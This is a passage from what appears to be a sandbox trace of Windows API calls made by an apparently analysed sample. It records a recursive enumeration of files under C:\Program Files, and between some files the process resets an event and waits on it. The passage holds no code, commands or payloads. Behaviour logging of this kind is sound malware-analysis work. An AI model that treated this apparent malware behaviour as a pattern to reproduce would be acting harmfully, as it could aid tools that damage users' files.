ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.550] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0243.551] ResetEvent (hEvent=0x118) returned 1 [0243.551] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.564] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0243.564] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0243.565] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0243.565] GetProcessHeap () returned 0x560000 [0243.565] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0243.565] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0243.565] GetProcessHeap () returned 0x560000 [0243.565] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0243.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0243.568] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.568] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0243.568] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0243.569] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0243.569] ResetEvent (hEvent=0x118) returned 1 [0243.569] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.573] ResetEvent (hEvent=0x118) returned 1 [0243.574] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.367] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0244.368] ResetEvent (hEvent=0x118) returned 1 [0244.368] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.375] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0244.376] ResetEvent (hEvent=0x118) returned 1 [0244.376] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.389] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0244.390] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0244.390] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0244.390] ResetEvent (hEvent=0x118) returned 1 [0244.390] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.399] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0244.400] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0244.400] ResetEvent (hEvent=0x118) returned 1 [0244.400] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.408] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0244.408] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0244.408] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0244.410] GetProcessHeap () returned 0x560000 [0244.410] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0244.411] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0244.411] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0244.411] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0244.411] GetProcessHeap () returned 0x560000 [0244.411] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0244.411] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0244.412] ResetEvent (hEvent=0x118) returned 1 [0244.412] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.416] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0244.416] ResetEvent (hEvent=0x118) returned 1 [0244.417] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.420] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0244.420] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0244.420] GetProcessHeap () returned 0x560000 [0244.420] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0244.424] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2796f180, ftCreationTime.dwHighDateTime=0x1d57d35, ftLastAccessTime.dwLowDateTime=0xa1b15d60, ftLastAccessTime.dwHighDateTime=0x1d5b224, ftLastWriteTime.dwLowDateTime=0xa1b15d60, ftLastWriteTime.dwHighDateTime=0x1d5b224, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="similar.exe", cAlternateFileName="")) returned 1 [0244.424] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0244.425] ResetEvent (hEvent=0x118) returned 1 [0244.425] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.428] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0244.429] ResetEvent (hEvent=0x118) returned 1 [0244.429] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.436] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0244.436] ResetEvent (hEvent=0x118) returned 1 [0244.436] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.486] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0244.487] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0244.487] GetProcessHeap () returned 0x560000 [0244.487] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b64198 | out: hHeap=0x560000) returned 1 [0244.487] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0244.487] GetProcessHeap () returned 0x560000 [0244.487] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b64198 [0244.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0244.488] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.488] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.488] GetProcessHeap () returned 0x560000 [0244.488] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0244.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0244.492] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.492] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0244.492] ResetEvent (hEvent=0x118) returned 1 [0244.493] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.604] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0244.605] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0244.605] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0244.605] ResetEvent (hEvent=0x118) returned 1 [0244.606] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.631] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0244.632] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, 